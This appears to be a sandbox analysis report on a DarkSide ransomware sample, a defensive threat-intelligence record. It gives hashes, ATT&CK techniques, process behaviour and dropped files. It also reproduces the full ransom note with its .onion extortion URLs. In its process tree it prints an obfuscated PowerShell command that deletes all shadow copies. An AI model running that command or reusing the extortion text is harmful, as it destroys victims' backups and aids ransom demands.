darkside | c5741701b3866459dd1ffa2477cfd8776713612912693a5897f78aac795d23e9

Resubmissions

31/03/2025, 00:22

250331-apdw1ssjs8 10

28/03/2025, 22:52

250328-2tfd7avl15 10

25/03/2025, 14:57

250325-sb3mbsxxht 10

Analysis

max time kernel
103s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
25/03/2025, 14:57

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General

Target

RansomwareSamples/DarkSide_18_11_2020_17KB.exe
Size

17KB
MD5

f87a2e1c3d148a67eaeb696b1ab69133
SHA1

d1dfe82775c1d698dd7861d6dfa1352a74551d35
SHA256

9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297
SHA512

e361811b07a66d9a784be37bdace0bdec9e11374083d7ccf7d9830e47a59afa8b9d12d80d4d47ea1932116354ad60bbc8ea6a6a265885d264b35486986415ea3
SSDEEP

384:SGyUrEk/yEoQE+yckIYN/pBa3AWK3T2oTboHblKR/:l4klFypIYFpB/x9ngb

Score

10^/10

darkside credential_access discovery execution ransomware spyware stealer upx

Malware Config

Extracted

Path

C:\Recovery\README.d6c824c2.TXT

Family

darkside

Ransom Note

----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Darkside family
darkside
Renames multiple (163) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
220	powershell.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral22/memory/1544-0-0x0000000000B50000-0x0000000000B60000-memory.dmp	upx
behavioral22/memory/1544-231-0x0000000000B50000-0x0000000000B60000-memory.dmp	upx
behavioral22/memory/1544-239-0x0000000000B50000-0x0000000000B60000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DarkSide_18_11_2020_17KB.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1544	DarkSide_18_11_2020_17KB.exe
1544	DarkSide_18_11_2020_17KB.exe
220	powershell.exe
220	powershell.exe
1544	DarkSide_18_11_2020_17KB.exe
1544	DarkSide_18_11_2020_17KB.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1544	DarkSide_18_11_2020_17KB.exe
Token: SeSecurityPrivilege	1544	DarkSide_18_11_2020_17KB.exe
Token: SeTakeOwnershipPrivilege	1544	DarkSide_18_11_2020_17KB.exe
Token: SeLoadDriverPrivilege	1544	DarkSide_18_11_2020_17KB.exe
Token: SeSystemProfilePrivilege	1544	DarkSide_18_11_2020_17KB.exe
Token: SeSystemtimePrivilege	1544	DarkSide_18_11_2020_17KB.exe
Token: SeProfSingleProcessPrivilege	1544	DarkSide_18_11_2020_17KB.exe
Token: SeIncBasePriorityPrivilege	1544	DarkSide_18_11_2020_17KB.exe
Token: SeCreatePagefilePrivilege	1544	DarkSide_18_11_2020_17KB.exe
Token: SeBackupPrivilege	1544	DarkSide_18_11_2020_17KB.exe
Token: SeRestorePrivilege	1544	DarkSide_18_11_2020_17KB.exe
Token: SeShutdownPrivilege	1544	DarkSide_18_11_2020_17KB.exe
Token: SeDebugPrivilege	1544	DarkSide_18_11_2020_17KB.exe
Token: SeSystemEnvironmentPrivilege	1544	DarkSide_18_11_2020_17KB.exe
Token: SeRemoteShutdownPrivilege	1544	DarkSide_18_11_2020_17KB.exe
Token: SeUndockPrivilege	1544	DarkSide_18_11_2020_17KB.exe
Token: SeManageVolumePrivilege	1544	DarkSide_18_11_2020_17KB.exe
Token: 33	1544	DarkSide_18_11_2020_17KB.exe
Token: 34	1544	DarkSide_18_11_2020_17KB.exe
Token: 35	1544	DarkSide_18_11_2020_17KB.exe
Token: 36	1544	DarkSide_18_11_2020_17KB.exe
Token: SeDebugPrivilege	220	powershell.exe
Token: SeBackupPrivilege	4428	vssvc.exe
Token: SeRestorePrivilege	4428	vssvc.exe
Token: SeAuditPrivilege	4428	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1544 wrote to memory of 220	1544	DarkSide_18_11_2020_17KB.exe	87
PID 1544 wrote to memory of 220	1544	DarkSide_18_11_2020_17KB.exe	87

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_18_11_2020_17KB.exe
"C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_18_11_2020_17KB.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:220

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Recovery\README.d6c824c2.TXT

Filesize
2KB

MD5
25d0b19a0ec34a39dfa3e177866f01a3

SHA1
a3704d1f6499738ccd694bdd6008a850c6b2e453

SHA256
f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8

SHA512
ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
42e886e1e9a889f988e60928c796f438

SHA1
0e4d4c860f0e754a646c6f18c17e3d192e947fac

SHA256
658a4b43ac082859870e81c373503c8ba9dd786d37af20e38efc1020efcb9e5e

SHA512
acb04ad663c817ea69ed3a5be01cc3c63e66dbd2a3fd6dcc8abaf827d33addf5a983a1819fe1124ce608828558a9c7164fc64d9fc6e0fb804fc051fb365974fe

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aocsuymn.czm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/220-2-0x000001F4DFED0000-0x000001F4DFEF2000-memory.dmp

Filesize
136KB

Download
memory/220-13-0x00007FF80F6E0000-0x00007FF8101A1000-memory.dmp

Filesize
10.8MB

Download
memory/220-14-0x00007FF80F6E0000-0x00007FF8101A1000-memory.dmp

Filesize
10.8MB

Download
memory/220-17-0x00007FF80F6E0000-0x00007FF8101A1000-memory.dmp

Filesize
10.8MB

Download
memory/220-12-0x00007FF80F6E0000-0x00007FF8101A1000-memory.dmp

Filesize
10.8MB

Download
memory/220-1-0x00007FF80F6E3000-0x00007FF80F6E5000-memory.dmp

Filesize
8KB

Download
memory/1544-0-0x0000000000B50000-0x0000000000B60000-memory.dmp

Filesize
64KB

Download
memory/1544-231-0x0000000000B50000-0x0000000000B60000-memory.dmp

Filesize
64KB

Download
memory/1544-239-0x0000000000B50000-0x0000000000B60000-memory.dmp

Filesize
64KB

Download